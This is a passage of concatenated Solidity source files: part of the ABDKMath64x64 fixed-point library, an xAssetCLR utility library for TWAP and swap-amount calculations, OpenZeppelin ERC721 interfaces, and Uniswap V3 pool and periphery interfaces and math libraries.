+= 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 xe = msb - 127; if (xe > 0) x >>= uint256(xe); else x <<= uint256(-xe); uint256 result = 0x80000000000000000000000000000000; int256 re = 0; while (y > 0) { if (y & 1 > 0) { result = result * x; y -= 1; re += xe; if ( result >= 0x8000000000000000000000000000000000000000000000000000000000000000 ) { result >>= 128; re += 1; } else result >>= 127; if (re < -127) return 0; // Underflow require(re < 128); // Overflow } else { x = x * x; y >>= 1; xe <<= 1; if ( x >= 0x8000000000000000000000000000000000000000000000000000000000000000 ) { x >>= 128; xe += 1; } else x >>= 127; if (xe < -127) return 0; // Underflow require(xe < 128); // Overflow } } if (re > 0) result <<= uint256(re); else if (re < 0) result >>= uint256(-re); return result; } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu(uint256 x) internal pure returns (uint128) { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128(r < r1 ? r : r1); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./ABDKMath64x64.sol"; /** * Library with utility functions for xAssetCLR */ library Utils { using SafeMath for uint256; struct AmountsMinted { uint256 amount0ToMint; uint256 amount1ToMint; uint256 amount0Minted; uint256 amount1Minted; } /** Get asset 1 twap price for the period of [now - secondsAgo, now] */ function getTWAP(int56[] memory prices, uint32 secondsAgo) internal pure returns (int128) { // Formula is // 1.0001 ^ (currentPrice - pastPrice) / secondsAgo require(secondsAgo != 0, "Cannot get twap for 0 seconds"); int256 diff = int256(prices[1]) - int256(prices[0]); uint256 priceDiff = diff < 0 ? uint256(-diff) : uint256(diff); int128 fraction = ABDKMath64x64.divu(priceDiff, uint256(secondsAgo)); int128 twap = ABDKMath64x64.pow( ABDKMath64x64.divu(10001, 10000), uint256(ABDKMath64x64.toUInt(fraction)) ); // This is necessary because we cannot call .pow on unsigned integers // And thus when asset0Price > asset1Price we need to reverse the value twap = diff < 0 ? ABDKMath64x64.inv(twap) : twap; return twap; } /** * Helper function to calculate how much to swap when * staking or withdrawing from Uni V3 Pools * Goal of this function is to calibrate the staking tokens amounts * When we want to stake, for example, 100 token0 and 10 token1 * But pool price demands 100 token0 and 40 token1 * We cannot directly stake 100 t0 and 10 t1, so we swap enough * to be able to stake the value of 100 t0 and 10 t1 */ function calculateSwapAmount( AmountsMinted memory amountsMinted, int128 liquidityRatio, uint256 midPrice ) internal pure returns (uint256 swapAmount) { // formula is more complicated than xU3LP case // it includes the asset prices, and considers the swap impact on the pool // base formula is this: // n - swap amt, x - amount 0 to mint, y - amount 1 to mint, // z - amount 0 minted, t - amount 1 minted, p0 - pool mid price // l - liquidity ratio (current mint liquidity vs total pool liq) // (X - n) / (Y + n * p0) = (Z + l * n) / (T - l * n * p0) -> // n = (X * T - Y * Z) / (p0 * l * X + p0 * Z + l * Y + T) uint256 mul1 = amountsMinted.amount0ToMint.mul(amountsMinted.amount1Minted); uint256 mul2 = amountsMinted.amount1ToMint.mul(amountsMinted.amount0Minted); uint256 sub = subAbs(mul1, mul2); uint256 add1 = ABDKMath64x64.mulu(liquidityRatio, amountsMinted.amount1ToMint); uint256 add2 = midPrice .mul( ABDKMath64x64.mulu(liquidityRatio, amountsMinted.amount0ToMint) ) .div(1e12); uint256 add3 = midPrice.mul(amountsMinted.amount0Minted).div(1e12); uint256 add = add1.add(add2).add(add3).add(amountsMinted.amount1Minted); // Some numbers are too big to fit in ABDK's div 128-bit representation // So calculate the root of the equation and then raise to the 2nd power int128 nRatio = ABDKMath64x64.divu( ABDKMath64x64.sqrtu(sub), ABDKMath64x64.sqrtu(add) ); int64 n = ABDKMath64x64.toInt(nRatio); swapAmount = uint256(n)**2; } // comparator for 32-bit timestamps // @return bool Whether a <= b function lte( uint32 time, uint32 a, uint32 b ) internal pure returns (bool) { if (a <= time && b <= time) return a <= b; uint256 aAdjusted = a > time ? a : a + 2**32; uint256 bAdjusted = b > time ? b : b + 2**32; return aAdjusted <= bAdjusted; } // Subtract two numbers and return absolute value function subAbs(uint256 amount0, uint256 amount1) internal pure returns (uint256) { return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; /// @title Creates and initializes V3 Pools /// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that /// require the pool to exist. interface IPoolInitializer { /// @notice Creates a new pool if it does not exist, then initializes if not initialized /// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool /// @param token0 The contract address of token0 of the pool /// @param token1 The contract address of token1 of the pool /// @param fee The fee amount of the v3 pool for the specified token pair /// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value /// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary function createAndInitializePoolIfNecessary( address token0, address token1, uint24 fee, uint160 sqrtPriceX96 ) external payable returns (address pool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; /// @title ERC721 with permit /// @notice Extension to ERC721 that includes a permit function for signature based approvals interface IERC721Permit is IERC721 { /// @notice The permit typehash used in the permit signature /// @return The typehash for the permit function PERMIT_TYPEHASH() external pure returns (bytes32); /// @notice The domain separator used in the permit signature /// @return The domain seperator used in encoding of permit signature function DOMAIN_SEPARATOR() external view returns (bytes32); /// @notice Approve of a specific token ID for spending by spender via signature /// @param spender The account that is being approved /// @param tokenId The ID of the token that is being approved for spending /// @param deadline The deadline timestamp by which the call must be mined for the approve to work /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Immutable state /// @notice Functions that return immutable state of the router interface IPeripheryImmutableState { /// @return Returns the address of the Uniswap V3 factory function factory() external view returns (address); /// @return Returns the address of WETH9 function WETH9() external view returns (address); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xc02f72e8ae5e68802e6d893d58ddfb0df89a2f4c9c2f04927db1186a29373660; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price 